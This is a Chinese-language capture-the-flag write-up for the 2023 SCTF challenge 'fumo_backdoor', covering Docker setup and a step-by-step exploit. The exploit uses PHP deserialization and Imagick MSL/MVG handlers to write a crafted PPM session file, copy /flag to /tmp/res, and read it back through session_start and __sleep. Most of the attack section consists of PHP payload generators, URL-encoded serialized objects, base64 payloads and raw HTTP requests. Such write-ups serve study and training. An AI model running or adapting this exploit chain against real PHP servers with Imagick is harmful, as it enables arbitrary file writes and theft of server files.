题目信息
- 题目名称:2023SCTF fumo_backdoor
- flag信息:
- 内部端口:80
- 题目描述:
- 附件:
_media_file_task_96a478b7-b206-403e-8430-886186a82097.zip
启动脚本
解压附件之后,进入文件夹,执行以下命令:
或者用docker起也可以(比赛环境为不出网,建议还是docker-compose起,这题如果出网的话可以用Imagick类出网非预期RCE了)
1
|
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_fumobackdoor
|
WriteUp
下载附件,审计源码,题目是不出网的

题目开了imagick扩展,/var/www/html目录不可写

再审计源代码,一共有三个功能点:
- 反序列化
- 删除/tmp目录下的所有内容(这算是题目的提示了)
- 高亮当前文件

再看题目给的后门类:
- 其实这里sink点有两个,一个是readfile读取文件,另一个是
new $a($b)
格式的代码
- 对于
new $a($b)
格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写
- 因此题目的sink点就在readfile了,那么如何触发
__sleep()
魔术方法呢,__sleep
魔术方法会在序列化的时候被调用

所以整个攻击流程如下:
首先把/tmp目录清空:
1
2
|
GET /?cmd=rm HTTP/1.1
Host: 1.1.1.1:49338
|
再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去
session的内容生成方式如下:
- 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径
- 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即
9*9
像素,这里的脏数据+序列化数据
的数量需要大于等于3*9*9
且小于等于4*9*9
(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->path = "/tmp/res"; // 复制后的flag路径
$ppmhead = "P6
9 9
255
" ;
$sdata = "|" . serialize($a);
$ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata;
// print($ppm);
print(base64_encode($ppm));
//UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=
|
有关PPM格式示例文件规范如下(From ChatGPT):

接着触发fumo_backdoor的__wakeup
魔术方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->func = array();
$a->argv = "vid:msl:/tmp/php*";
$a->class = "imagick";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D
|
完整的HTTP请求如下:
- 简单理解就是:利用imagick把read那一串的base64解码后存到/tmp/sess_user中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 697
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur
Cookie:
------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30="/>
<write filename="/tmp/sess_user"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--
|
接着利用Imagick的uyvy协议把/flag复制到/tmp/res中,选择uyvy协议的原因是该协议较为松散,当然用mvg协议也可以,这里推荐使用mvg协议,实测mvg协议可以完整的把/flag内容复制出来,而uyvy协议只能复制第5位开始的字符串(/flag内容如果为flag123123
,复制到/tmp/res内容为123123
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 315
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur
------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag"/>
<write filename="/tmp/res"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--
|
接着再反序列化读取文件,这里利用session_start方法启动session,并传入PHPSESSID序列化我们前面传入的/tmp/sess_user内容,触发__sleep魔术方法进而读取文件:
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->func = "session_start";
$a->path = "/tmp/res";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D
|
完整的HTTP请求如下:
1
2
3
|
GET /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Cookie: PHPSESSID=user
|
如果打不通就多打几次,有概率问题,如果试了很久都没打通,进容器一步步debug,或者在交流群里交流

附: